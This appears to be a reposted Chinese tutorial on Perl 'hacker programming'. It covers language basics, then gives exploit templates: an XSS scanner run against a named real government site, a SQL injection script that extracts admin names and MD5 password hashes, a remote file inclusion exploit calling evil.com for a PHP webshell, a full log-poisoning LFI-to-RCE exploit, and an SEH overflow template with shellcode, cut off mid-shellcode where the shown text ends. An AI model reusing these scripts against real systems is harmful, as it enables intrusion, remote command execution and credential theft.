Perl黑客编程
Posted 安云庭
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Perl黑客编程相关的知识,希望对你有一定的参考价值。
Perl黑客编程
目录
一. Perl简介
二.Windows下的Perl环境搭建
三.基础知识
四.数组
五.条件与循环语句
六.用户数据获取
七.文件读写
八.子程序
九.LWP模块
十.套接字Socket
十一.编写攻击代码
(1) XSS exploit
(2) SQL Injection Exploit
(3) 远程文件包含
(4) LFI2RCE Exploit
(5) 本地溢出
(6) 远程溢出
十二.结论
一. Perl简介
Perl是Practical Extraction and Report Language的编写,它是由Larry Wall设计的,主要用于UNIX环境下编程,当然目前它也是只支持Windows系统的,本文主要也是讲在Windows下的Perl编程,并侧重于黑客安全方面。Perl如脚本语言一般,无需经编译器来编译才能运行代码,应用起来也很简便,特别是用它来写exploit尤为流行。据统计,目前世界上有70%的exploit是用Perl来编写的。在国内,由安全焦点出版的《网络渗透技术》一书提到的主要编程语言中,主要有perl,c,asm三种,书中提到在阅读此书的预备知识中就要求熟悉C,Perl,Asm,由此可见,perl语言在国内安全方面的应用也是占有一席之地的。在国外著名漏洞公布站点milw0rm中,我们也可以经常看到用perl编写的exploit,无论是在脚本攻击中,还是在系统漏利用中,特别是在溢出攻击中,都可以经常见到它的身影。除此之外,有些安全人士也用它来编写Fuzzing工具,用于挖掘漏洞。另外,本文讲述的只是Perl语言中的冰山一角,如果读者想深入学习该语言的话,建议学习一下官方文档或者其它编程书籍。
二.Windows下的Perl环境搭建
在开始Perl编程之旅之前,读者需要先下载两样工具:ActivePerl和EditPlus。ActivePerl是一款Perl解释器,可在AIX, HP-UX, Linux, Mac OS X, Solaris 和Windows等多操作系统平台下使用,使用起来也很简便,直接双击编写好的*.pl文件(perl的文件格式)(这种方法可能会在未看清楚输出结果就自动关闭了,但如果你只是为了生成某个文件,就可以直接使用这种方法,比如在本地溢出利用中用于构造可触发溢出的文件)或者在DOS下输入如下命令即可:
perl example.pl
EditPlus 是 Windows 下的一个简便的 Internet 32 位文本编辑器、html 编辑器和程序设计员的编辑器,支持 HTML、CSS、php、ASP、Perl、C/C++、Java、javascript 和 VBScript 等多种语言的代码高亮显示,使用者也可根据自己需要到其官方网站下载语言包去支持其它语言(如汇编语言)的代码高亮,读者可也根据自己喜好选择其它编辑器,如Notepad++。现在我们可新建一个example.pl:
print "Hello World !\n";
然后打开DOS进入example.pl文件所在目录,输入命令:perl example.pl后,执行结果如下所示:
d:\>perl example.pl
Hello World!
三.基础知识
在Perl中,变量的定义是在变量名之前加上符号'$',完成后记得加分号';'例如:
$x = 123;(十进制数,注意分号的使用,这跟C语言是相同的。)
$y = 0xff;(十六进制数)
$z = -32.2;(浮点数)
$string = “ I’m riusksk.\n”;(对于包含空格的字符串要加双引号,是英文输入法中的双引号,而非中文的双引号。如果无空格,那么不加引号也是可以的。除此之外,单引号也是可以的,除非字符串中已经含有单引号,就像这一句就只能使用双引号了,但是使用单引号后,不能解释转义符,也就是说,如果使用了单引号,那么它就会把\n之类的转义符直接输出,而不是换行。)
一些常见的转义符如下:
\n |
New Line |
\r |
Return |
\t |
Tab |
\f |
Form Feed |
\b |
Backspace |
\v |
Vertical Tab |
\e |
Escape |
\a |
Alarm |
\L |
Lowercase All |
\l |
Lowercase Next |
\U |
Uppercase All |
\u |
Uppercase First |
在perl中,"#"是不为解释器所解释的,它是作为注释符来使用的,比如将以下代码保存为riusksk.pl文件:
$name = “riusksk \n”; #my name
print $name;
那么运行后它会直接输出:
d:\>perl riusksk.pl
riusksk
现在我们将上面的代码改成:
$hello = “Hello,”;
$name = “riusksk!\n”; #my name
print “$hello”.”$name”;
输出结果如下:
d:\>perl riusksk.pl
Hello,riusksk!
在这里点号“.”起到一个连接字符串的作用,在后面关于溢出exploit编写中,你就可以体会到它的方便之处了,而且增强了代码的易读性。接下来,我们讲讲关于操作符方面的知识。算术操作符主要有:
+(加)、-(减)、*(乘)、/(除)、**(乘幂)、%(取余)、-(单目负)。
整数比较操作符主要有:
< (小于)、> (大于)、==(等于)、<= (小于等于)、>= (大于等于)、!= (不等于)、<=> (比较,返回1,0,或者-1)。
字符串比较操作符主要有:
lt (小于)、gt (大于)、eq(等于)、le (小于等于)、ge (大于等于)、ne (不等于)、cmp (比较,返回1,0,或者-1)。
下面我们实例操作一下,以巩固知识。
输入以下代码并保存为riusksk.pl:
$a = 1+2;
$b = 4-3;
$c = 5*6;
$d = 6/2;
$e = 2>1;
$f = 3!=4;
$g = “A” eq “A”;
$h = “A” cmp ”B”;
print “$a”.”\t”;
print “$b”.”\t”;
print “$c”.”\t”;
print “$d”.”\t”;
print “$e”.”\t”;
print “$f”.”\t”;
print “$g”.”\t”;
print “$h”.”\n”;
输出结果如下:
d:\>perl riusksk.pl
31303111-1
四.数组
数组是用来存储列表的,与变量不同,它允许在perl程序中使用一序列值,可以为任意数值,也可为空,数组变量是以字符“@”开头的。为了理解它,我们需要去实践操作一下。先在riusksk.pl中输入以下代码:
@hello = (‘Hello’,’World’);
print @hello;
运行后输出结果如下:
d:\>perl riusksk.pl
HelloWorld
在这里,我们可借助join()函数在HelloWorld之间加入空格,具体代码如下:
@hello = (‘Hello’,’World’);
print join(‘ ‘,@hello);
运行结果:
d:\>perl riusksk.pl
Hello World
对于数组元素的读取可以通过下标来实现,首个元素的下标为0。如果读取的是不存在的元素,那么它将返回NULL,但如果给超出数组大小的元素赋值,那么数组就会自动增长,原来没有的元素为NULL。比如:
@hello = ("hello","world");
print "$hello[0]"."\n";
print "$hello[1]"."\n";
print "$hello[2]"."\n";
输出结果:
d:\>perl riusksk.pl
hello
world
d:\>
下面我们再讲一个函数——split()函数,主要功能是以某种字符来分割句子以转存到数组中,然后从数组中提取数据以作为他用。下面我们还是以实例进行讲解:
$sentence = "Hello everyone ! my name is riusksk. ";
@words = split(" ", $sentence) ; #这里" "也可写成/ /(中间有空格),即以空格为间隔符
print join(" ",@words);
输出结果:
d:\>perl riusksk.pl
Hello everyone ! my name is riusksk.
五.条件与循环语句
1. 条件判断语句
经典的条件判断语句莫过于if—then语句了,它几乎存在于每一种编程语言中,它在perl中基本格式如下:
if (express1) {
statement1
}
elsif (express2){
statement2
}
else {
statement3
}
例如:
$name = riusksk;
if ($name eq "riusksk") {
print "you're riusksk.\n";
}
elsif ($name eq "quange") {
print "you're quange.\n";
}
else {
print "I don't know your name !\n";
}
输出结果为:
d:\>perl riusksk.pl
you’re riusksk.
2.循环语句
对于循环语句,我们这里主要下面四种循环语句:while循环,until循环,for循环,foreach循环。
(1) while循环语句
格式:
while (express){
statemet
}
例如:
$x = 1;
while ($x < 5) {
$x++;
}
print $x;
输出结果为:
d:\>perl riusksk.pl
5
(2)until循环语句
格式:
until (express){
statemet
}
例如:
$y = A;
until ($y ge C) {
$y++;
}
print $y;
输出结果:
d:\>perl riusksk.pl
C
(3)for循环语句
格式:
for ($i=1; $i <=5; $i++){
statement
}
例如:
for ($i=1; $i <=5; $i++){
print “$i”.”\t”;
}
输出结果:
d:\>perl riusksk.pl
12345
(4)foreach循环
格式:
foreach $num (@array) { #num为数组@array中的元素
statement
}
例如:
@array = (10,20,30,40,50);
foreach $num (@array){
if ($num == 10){
$num = 30;
}
}
print join(" ","@array");
输出结果:
d:\>perl riusksk.pl
30 20 30 40 50
六.用户数据获取
(1)STDIN
print "What's your name?\n";
$name = <STDIN>;
chomp $name; #去除换行符,因为输入数据通过STDIN获取后会自动添加换行符\n
print "Hello,$name.Nice to meet you !\n";
输出结果:
d:\>perl riusksk.pl
What’s your name?
riusksk
Hello,riusksk.Nice to meet you !
(2)@ARGV
除以上方法之外,我们还可以使用@ARGV。如同数组一般,@ARGV支持用户参数,这跟C语言中的argv,argc类似,在很多perl exploit中经常可以见到它。比如我们在对目标主机进行溢出攻击时,经常可见到像下面的指令:
perl exploit .pl 127.0.0.1 3424
if (@ARGV != 2) {
print “Usage: perl $0 <IP> <Port>\n”;
exit;
}
($IP , $Port) = @ARGV;
print “IP Address: $IP, Port is $Port.\n”;
输出结果:
d:\>perl riusksk.pl
Usage: perl riusksk.pl <IP> <Port>
d:\>perl riusksk.pl 127.0.0.1 1234
IP Address:127.0.0.1,Port is 1234.
(3)GetOpt
这里我们再讲述另一种获取用户输入数据的方法,这是一种叫做GetOpt的perl模块。请看下列代码:
use Getopt::Std; #导入GetOpt STD模块,取消模块用no语句
getopts (":a:p:", \%args); #定义两个标志-a 和 -p分别用来获取参数
if (defined $args{a}) { #若已给标志-a中的参数赋值,则将参数值赋予变量$a
$a = $args{a};
}
if (defined $args{p}) {
$p = $args{p};
}
if (!defined $args{a} or !defined $args{p}){ #如果有一个参数未输入则输出以下语句并退出
print "Usage: perl $0 -a <IPAddress> -p <Port>\n";
exit;
}
print "IP Address: $a, Port is $p.\n";
输出结果:
d:\>perl riusksk.pl
Usage: perl riusksk.pl -a <IPAddress> -p <Port>
d:\>perl riusksk.pl –a 127.0.0.1 –p 1234
IP Address: 127.0.0.1, Port is 1234.
以上三种方法以最后一种最为常用了,常用于编写exploit。
七.文件读写
在编写本地溢出exploit时经常要构造一个可触发溢出的文件,这里就需要对文件进行读写了。要对某文件进行操作需要先打开文件,打开文件的语法如下:
open (fp,” filename”),其中fp为文件句柄,可以理解为文件的代号,filename是文件名,其路径可为相对路径,也可为绝对路径。例如:
open(fp,”exploit.mp3”);
open(fp,”c:/hacking/exploit.mp3);
如果我们想创建一个不存在的文件可以使用下列语句:
open (fp,”>>exploit.mp3”);
如果打开失败,我们可以结束程序,那么以上代码可更改为:
unless (open(fp,”exploit.mp3”)) {
die (“open file fail\n”);
}
成功打开文件之后,我们就可以对其进行读写了。读取文件的语法为:
(1)$line=<fp>:从文件中读取一行数据并将其储存到变量$line中,而且文件指针会向后移动一行。
(2)@array=<fp>:读取文件的所有内容并将其储存到数组@array中,而且文件中的每一行(包含回车符)为@array中的一个元素。
写文件的语句如下:
print(fp,”hello\n”);
对文件操作完成后,需要关闭文件:
close (fp);
下面我们举个例子来进行文件读写操作:
if (open(fp1,">>exploit.txt")) {
print ("create file sucessful!\n");
}
else {
die("create file fail !\n");
}
print fp1 ("riusksk\n"."quange\n");
close (fp1);
unless (open(fp2,"exploit.txt")) {
die ("open file fail\n");
}
@array= <fp2>;
print ("the content of exploit.txt : \n");
print @array;
close (fp2);
输出结果如下:
d:\>perl riusksk.pl
Create file sucessful !
The content of exploit.txt :
riusksk
quange
八.子程序
(1)子程序的定义方法:
sub function {
statement;
}
调用时可在子程序名前加&,或者先定义后直接以子程序名调用(省略&),也可先定义子程序名,再定义程序体。
(2)参数
格式:
&function ($arg1,$arg2,$arg3);
sub function{
my ($arg1,$arg2,$arg3)=@array;
}
(3)局部变量
局部变量的定义方法有两种:my和local,其中my定义的变量只存在于子程序中,而local定义的变量不存在于主程序中,但存在于子程序及该子程序调用的子程序当中。例如:
my ($name) = riusksk;
local($num)= 1;
九.LWP模块
http://search.cpan.org/~gaas/libwww-perl/
这里我们只讲LWP::Simple和LWP::UserAgent这两个模块。
(1) LWP::Simple
LWP::Simple是LWP的一个简单程序接口,它主要有以下函数:
否则,返回undef。
例如:
use LWP::Simple;
$a=getprint('http://www.baidu.com');
print "\n";
print $a;
print "\n";
my ($b,$c,$d,$e,$f)=head('http://www.baidu.com');
print "$b"."\n"."$c"."\n"."$d"."\n"."$e"."\n"."$f";
getstore('http://public.blogbus.com/profile/v1/4/5/7/4678754/avatar_4678754_96.jpg','riusksk.jpg');
system('riusksk.jpg'); #打开图片
sleep(5);#延时5秒
unlink('riusksk.jpg');#删除图片
输出结果如下:
D:\软件>perl riusksk.pl
<html><head><meta http-equiv=Content-Type content="text/html;charset=gb2312"><ti
tle>百度一下,你就知道 </title><style>body{margin:4px 0}
…………省略部分内容
<p style=height:30px><a onClick="this.style.behavior='url(#default#homepage)';th
is.setHomePage('http://www.baidu.com')" href=http://utility.baidu.com/traf/click
.php?id=215&url=http://www.baidu.com>把百度设为主页</a></p><p style=height:14px>
<a href=http://e.baidu.com>加入百度推广</a> | <a href=http://top.baidu.com>搜索
风云榜</a> | <a href=http://home.baidu.com>关于百度</a> | <a href=http://ir.baid
u.com>About Baidu</a></p><p id=b>©2009 Baidu <a href=http://www.baidu.com/d
uty/>使用百度前必读</a> <a href=http://www.miibeian.gov.cn target=_blank>京ICP证
030173号</a> <img src=http://gimg.baidu.com/img/gs.gif></p><map name=mp><area sh
ape=rect coords="43,22,227,91" href=http://hi.baidu.com/baidu/ target=_blank tit
le="点此进入 百度空间"></map></center></body>
…………省略部分内容
</html><!--0e94a8fd6438cdd2-->
200
text/html;charset=gb2312
3520
1256476657
BWS/1.0
然后打开下载的图片riusksk.jpg,接着停顿5秒后,再将图片删除。
(2) LWP::UserAgent
相对LWP::Simple模块而言,LWP::UserAgent模块更为复杂,功能也更为强大。它相当于一个虚拟的浏览器,使用时先创建一个LWP::UserAgent对象,然后再设置其相关参数,接着再创建HTTP::Request实例,并发送请求,最后返回HTTP::Response对象。关于该模块更多的信息可参考以下网址:
http://search.cpan.org/~gaas/libwww-perl-5.803/lib/LWP/UserAgent.pm
首先我们创建一个HTTP用户代理对象:
use LWP::UserAgent;
$user_agent = new LWP::UserAgent;
接着,我们再利用HTTP模块创建一个HTTP请求,请求方式可以为GET或者POST:
$request = new HTTP::Request('GET','http://www.baidu.com');
还可以采用代理的方式执行HTTP请求:
$response = $user_agent->request($request);
例如以下代码:
use LWP::UserAgent;
$user_agent = new LWP::UserAgent;
$request = new HTTP::Request('GET','http://www.baidu.com');
$response = $user_agent->request($request);
open fp,">file.txt";
print fp $response->{_content};
close fp;
执行结果如下:
D:\软件>perl riusksk.pl
D:\软件>type file.txt
<html><head><meta http-equiv=Content-Type content="text/html;charset=gb2312"><ti
tle>百度一下,你就知道 </title><style>body{margin:4px 0}p{margin:0;padding:
……省略部分内容
('load',function(){w.focus()},true)};window.onunload=function(){};</script></htm
l><!--0e94a8fd6438cdd2-->
十.套接字Socket
在编写exploit的过程中,我们往往需要进行网络通信,比如SQL注入,远程溢出之类的攻击方式,都离不开Internet。本节中就是讲述如何利用perl的IO::Socket模块来实现Internet通信,以方便客户端与服务端之间的数据交互。
首先创建套接字,可以使用IO::Socket::INET的new方法,如下:
$socket =new IO::Socket::INET (参数)
用于传递的参数可以为:
-------------------------------------------------------------------------------------------------------------------------
■ PeerPort —— 欲连接的主机端口。
■ Proto —— 连接协议(TCP/UDP)。
■ Type —— 连接类型,SOCK_STREAM用于TCP数据流连接,SOCK_DGRAM用于UDP数据报,SOCK_SEOPACKET用于顺序的数据包连接。
■ LocalPort —— 本地端口。
■ Listen —— 队列大小(允许的客户数),最大值为SOMAXCONN。
■ Reuse —— 把绑定设置为SO_REUSEADDR。
■ Timeout —— 连接的超时值。
-------------------------------------------------------------------------------------------------------------------------
例如:
use IO::Socket;
$socket =new IO:Socket::INET
(
PeerAddr => ‘http://riusksk.blogbus.com’,
PeerPort => 80,
Proto => ‘tcp’,
Type=> SOCK_STREAM,
) or die “Couldn’t create client.\n”;
建立连接后,我们就可以将数据写入服务器了,这里可以使用print或者send函数来实现写操作,如下所示:
print $socket $data;
或者
send ($socket, $data,$flags); # $flags使用默认值0即可。
然后用recv函数来读取返回的数据:
$respond = recv($socket,$buffer,$length,$flags) # $flags也是使用默认值0即可。
最后就是关闭套接字:
close($socket);
十一.编写攻击代码
在本文的最后一部分中,我们主要以编写exploit代码为主,并编写了各种常见漏洞的利用模板,这也是本文的重点所在,相信也是大多数人所关心的内容。
(1) XSS exploit
XSS(Cross Site Script)在WEB漏洞中是最为常见的一类漏洞,也是被攻击者广泛利用的漏洞之一。下面是一份关于XSS Exploit 的perl代码,我们具体来分析一下:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
print "\t\t########################################################\n";
print "\t\t# XSS Exploit Perl 模板 #\n";
print "\t\t# Author: riusksk(泉哥) #\n";
print "\t\t# Blog : http://riusksk.blogbus.com #\n";
print "\t\t########################################################\n";
if (@ARGV!=1)#必须提供目标网址
{
print "Usage : perl XssExploit.pl [Host]\n";
print "Example : perl XssExploit.pl http://riusksk.blogbus.com\n";
}
else
{
@xss=(
'<script>alert(‘xss’);</script>',
'><script>alert(document.cookie);</script>',
'<script>alert(1)</script>'
);#这里是一些XSS语句,你可以去收集一些常用的测试语句,以增加成功率。
$host=$ARGV[0];#目标网址
chomp $host;#去掉字符串的换行符
#下面的代码利用XSS测试语句对网址进行循环检测
foreach $evil (@xss) {
print “$url”. “:\n”;
my $ua = new LWP::UserAgent;#创建用户代理对象
my $req=new HTTP::Request('GET',$url);#创建HTTP请求,请求方式为GET
#采用代理的方式发送请求,并以字符串的形式将响应信息保存在变量$respond中
$respond = $ua->request($req)->as_string;
#lc()函数是将字符串转换成小写字母,用于判断上面的XSS语句是否注入成功
if (index(lc $respond,lc $evil) != -1)
{
print "This site has xss vuln!\n";
}
else{
print " This site has not xss vuln!\n";
}
}
}
测试结果:
D:\软件>perl riusksk.pl
########################################################
# XSS Exploit Perl 模板 #
# Author: riusksk(泉哥) #
# Blog : http://riusksk.blogbus.com #
########################################################
Usage : perl XssExploit.pl [Host]
Example : perl XssExploit.pl http://riusksk.blogbus.com
D:\软件>perl riusksk.pl http://www.bursaonkoloji.gov.tr/onkoloji/?page=
########################################################
# XSS Exploit Perl 模板 #
# Author: riusksk(泉哥) #
# Blog : http://riusksk.blogbus.com #
########################################################
http://www.bursaonkoloji.gov.tr/onkoloji/?page=<script>alert(‘xss’);</script>:
This site has xss vuln!
http://www.bursaonkoloji.gov.tr/onkoloji/?page=><script>alert(document.cookie);</script>:
This site has xss vuln!
http://www.bursaonkoloji.gov.tr/onkoloji/?page=<script>alert(1)</script>:
This site has xss vuln!
(2) SQL Injection Exploit
SQL注入在脚本攻击中也是被广泛利用,它主要是通过注入SQL语句来对数据库进行查询,以获取管理员用户名及密码,大多是由于对用户所提交的数据过滤不严所致。下面我们来看看关于SQL Injection Exploit的编写:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use Getopt::Std;
print "\t\t########################################################\n";
print "\t\t# SQL Injection Exploit Perl 模板 #\n";
print "\t\t# Author: riusksk(泉哥) #\n";
print "\t\t# Blog : http://riusksk.blogbus.com #\n";
print "\t\t########################################################\n";
getopts(":a:",\%args);
if(defined $args{a}){
$url=$args{a};
}
else {
print "Usage:perl $0 -a <URL>\n";
exit;
}
#下面的变量是存在漏洞的网页文件及其相应的注入语句,这个变量值视具体情况而定
$bug="/bug.php??id=9999%27union/**/select/**/concat(name,password)/**/from/**/administrators/*";
$webpage=$url.$bug;
$contle=length($webpage);
print "Exploiting……\n";
$ua=new LWP::UserAgent;
$ua->agent("Mozilla/5.0 Gecko/20091016 Firefox/3.5.4"); #设置用户代理,这里是我电脑上所用的浏览器Firefox版本
$req=new HTTP::Request('POST',$webpage);
$req->content_type("application/x-www-from-urlencoded");#客户端发送的内容的数据类型
$req->header("content-length" => $contlen);#客户端发送的内容的长度
$req->content($webpage);#发送的内容
$response=$ua->request($req);#发送代理请求
$content=$response->content;#返回HTTP body的内容
#这句正则表达式需根据具体漏洞的情况而定,主要以用户名旁边的关键字为参照
if($content=~ /<keyword>(.*?)<\/keyword>/)#对<keyword>与</keyword>的数据进行匹配,也可同时配合split进行查找
{
$username = $1;
print "Username : $username\n";
}
else{
print "Get Username Fail!\n";
}
#如果返回的数据中含有32位数据,并且是由0-9a-fA-F之间的数据组成的,那么就可能是MD5加密的密码
if ($content =~/([0-9a-fA-F]{32})/)
{
$Md5pass = $1;
print "Md5 Password : $Md5pass\n";
}
else{
print "Get Password Fail!\n";
}
(3) 远程文件包含
远程文件包含属于PHP中的高危漏洞,攻击者可利用它加载远程文件到PHP WEB页面,并以此来执行恶意代码。
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
if (!($ARGV[1])) {
print "\t\t########################################################\n";
print "\t\t# Remote File Include Exploit Perl 模板 #\n";
print "\t\t# Author: riusksk(泉哥) #\n";
print "\t\t# Blog : http://riusksk.blogbus.com #\n";
print "\t\t########################################################\n";
print "Usage: perl $0 <Host> <ShellURL> <cmd>\n";
print "Example: perl $0 http://riusksk.blogbus.com/path/ http://evil.com/hack.txt cmd\n";
exit;
#其中的hack.txt的内容可为:<?php system($_GET['cmd']); ?> 等一句话木马
}
my $host=$ARGV[0];
my $shellurl=$ARGV[1];
if (!($ARGV[2])) {
print "Please Enter Your Cmd:";
chomp (my $cmd= <STDIN>);
}
else{
my $cmd=$ARGV[2];
}
if ($cmd eq "exit" || $cmd eq "quit") {
exit(0);
}
my $riusksk=$host.$shellurl."?&cmd=".$cmd;
my $us= new LWP::UserAgent;
my $req= new HTTP::Request('GET',$riusksk);
my $response= $us->request($req);
if ($response->is_success) {
my $content= $response->content;
print $content;
}
else {print "Exploit Failed!";}
exit;
(4) LFI2RCE Exploit
当我们遇到一个本地文件包含漏洞(LFI)时,在对方的服务器上我们并未找到有用的信息时,或者当对方存在一个远程文件包含漏洞(RFI)时,但由于防火墙过滤或服务器的相关设置,以致不能访问来自服务器之外的访问,引起远程文件包含失败,这时也就相当于一个本地文件包含漏洞了。在这种情况下,我们就需要将本地文件包含转换成远程代码执行(LFI2RCE),才能更好地达到攻击的目的。关于LFI2RCE的方法,我曾在博客写了篇文章《利用PHP代码实现LFI2RCE》:http://riusksk.blogbus.com/logs/42030849.html。在这篇文章中,我共总结了六种使用PHP代码实现LFI2RCE的方法,读者有兴趣可以借鉴一下。在这里我所要讲述的是一种通过注入服务器日志文件来执行恶意代码(如一句话木马)的方法,即通过URL strings或者 User Agents等方式来注入恶意代码到Apache的访问日志文件中,再通过本地文件包含漏洞来执行日志中的恶意代码。这种LFI2RCE思路最早是在2003-05-29 有人在milw0rm上公布的:http://www.milw0rm.com/exploits/34,大家也可参考下文中关于LFI2RCE思路的描述:http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/。下面我们就最为原始的这份LFI2RCE exploit进行源码分析学习一下:
#!/usr/bin/perl
#
# Webfroot Shoutbox < 2.32 on apache exploit
#
use IO::Socket;
my $port = 80;# WWW端口号
my $shoutbox = "shoutbox.php?conf=";#存在本地文件包含漏洞的页面文件及其变量
my $shoutboxpath = "/shoutbox";#网站程序Shoutbox的安装路径
my $cmd = "ls -l"; #命令行
my $conn;
my $type;
#数组@logs是Apache中的日志文件可能存在的目录,
#关于日志文件目录,读者可搜索其它相关资料,自行进行添加,以增加成功就率。
my @logs = (
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/httpd/access_log",
"/var/log/httpd/access.log",
#"D:/apps/Apache Group/Apache2/logs/access.log"
);
#变量$qinit是一个HTTP请求报文,但其中包含有恶意代码,
#它通过先创建文件/tmp/.ex,然后写入一句话木马,这样当请求失败时,日志文件中就包含有此段PHP代码,
#最后通过本地文件包含漏洞将存在恶意代码的日志文件包含进去,这样一句话木马就被执行了。
my $qinit = "GET /<?\$h=fopen('/tmp/.ex','w+');fwrite(\$h,'Result:<pre><?system(\$cmd);?></pre>');fclose(\$h);?> HTTP/1.1\nHost: 127.0.0.1\nConnection: Close\n\n";
#如果第一个参数为字符x或者r,那么就将其赋予变量$type,
#x代表exploit,即发送上面的恶意请求,而r代表run command,即运行命令。
if ($ARGV[0] eq "x" || $ARGV[0] eq "r"){
$type = $ARGV[0];
}
#下面是关于本exploit的简介及使用方法,这在exploit代码中经常可以看到,这也正是人性化的一种表现。
else {
print "[x] Webfroot Shoutbox < 2.32 on apache exploit \n\n";
print "Usage: \n Webfroot.pl (x|r) host [command] [path] [port]\n";
print "\ttype\tx = exploit | r = run command (after run with x option)\n";
print "\thost\thostname\n";
print "\tcommand\tcommand to execute on remote server\n";
print "\tpath\tpath to shoutbox installation ex: /shoutbox\n";
print "\tport\tport number\n";
exit;
}
if ($ARGV[1]){
}
if ($ARGV[2]){
$cmd = $ARGV[2];#第三个参数为cmd命令
}
if ($ARGV[3]){
$shoutboxpath = $ARGV[3];#第四个参数为网站程序的安装路径
}
if ($ARGV[4]){
$port = int($ARGV[4]);#第五个参数为端口号,并将其转换成整数值
}
$cmd =~ s/ /+/g;#利用正则表达式对$cmd进行过滤,将$cmd中的所有空格全部替换为+
sub connect_to {
#print "[x] Connect to $host on port $port ...\n";
$conn = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "[*] Can't connect to $host on port $port ...\n";
$conn-> autoflush(1);#自动刷新
}
#断开连接
sub connect_end {
#print "[x] Close connection\n";
close($conn);
}
#访问日志文件
sub exploit {
my $access_log = $_[0];
my $result = "";
$access_log =~ s/ /+/g;
my $query = "GET ${shoutboxpath}/${shoutbox}${access_log} HTTP/1.1\nHost: $host\nConnection: Close\n\n";
print "$query";
print "[x] Access log : ", $access_log ,"\n";
&connect_to;#调用connect_to函数
print $conn $query;
#将响应信息保存到变量$line中
while ($line = <$conn>) {
$result = $line;
#print $result;
};
&connect_end; #断开连接
}
sub run_cmd {
my $conf="/tmp/.ex";
#my $conf="d:/tmp/.ex";
my $result = "";
#发送执行命令的请求
my $query = "GET ${shoutboxpath}/${shoutbox}${conf}&cmd=$cmd HTTP/1.1\nHost: $host\nConnection: Close\n\n";
print "[x] Run command ...\n";
&connect_to;
print $conn $query;
while ($line = <$conn>) {
$result .= $line;
};
&connect_end;
#若返回信息无Result:字符串,则将$result输出,将提示出错。
if ($result =~ /Result:/){
print $result;
} else {
print $result;
print "[*] Failed ...";
}
}
#将PHP恶意代码插入访问日志文件中
sub insert_code {
my $result = "";
print "[x] Access log : ", $access_log ,"\n";
print "[x] Insert php code into apache access log ...\n";
&connect_to;
print $conn "$qinit";
while ($line = <$conn>) {
$result .= $line;
};
&connect_end;
print $result;
}
if ($type eq "x"){
&insert_code;
print "[x] Trying to exploit ...\n";
#依次对数组@log中包含的各个日志文件进行访问,$#logs代码数组@logs的元素个数
for ($i = 0;$i <= $#logs; $i++){
&exploit($logs[$i]);
}
&run_cmd;
} else {
&run_cmd;
}
(5) 本地溢出
本地溢出的利用程序如果用Perl来编写的话,还是比较简单方便的。本地溢出的利用一般都是通过构造一个可触发第三方软件溢出的文件,并利用存在漏洞的软件打开此文件,以达到溢出攻击的目的。因此,本地溢出的exploit代码往往只有那么几行,在构造本地文件时,有时需要根据文件格式写入头信息,因此有些软件会检测文件头信息,以判断文件的有效性,在下面的代码中我略去了,读者应视具体情况而定。例如:
#!/usr/bin/perl
print "\t\t########################################################\n";
print "\t\t# Local Buffer Overflow Exploit Perl 模板 #\n";
print "\t\t# Author: riusksk(泉哥) #\n";
print "\t\t# Blog : http://riusksk.blogbus.com #\n";
print "\t\t########################################################\n";
my $bof = "x41" x 2432;#构造垃圾字符,以覆盖SEH结构做准备,其中的数值2432要依实际情况可定
my $nextseh = "\xEB\x06\x90\x90";#相当于指令jmp 06,主要用于覆盖指向下一SEH结构的指针
#0x7c95139e pop esi,pop ebp,retn ntdll.dll
#0x71aa5f62 pop edi,pop esi,retn ws2_32.dll
#下面两个是:2k/XP/2k3
#0x7ffa6773 push ebx,retn \x53\xc3 (0x7ffa6772 是 pop edx)
#0x7ffc01b0 pop esi,retn \x5e\xc3
my $handle = "\xbe\x2e\xd1\x72";
my $nop = "\x90" x 20;#这个主要是用于提高成功率
#下面的$shellcode用于存放恶意代码,这些可借助Metasploit工具来自动生成包含有你所需功能的shellcode
#也可到Metasploit官网在线生成:http://metasploit.org:55555/
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
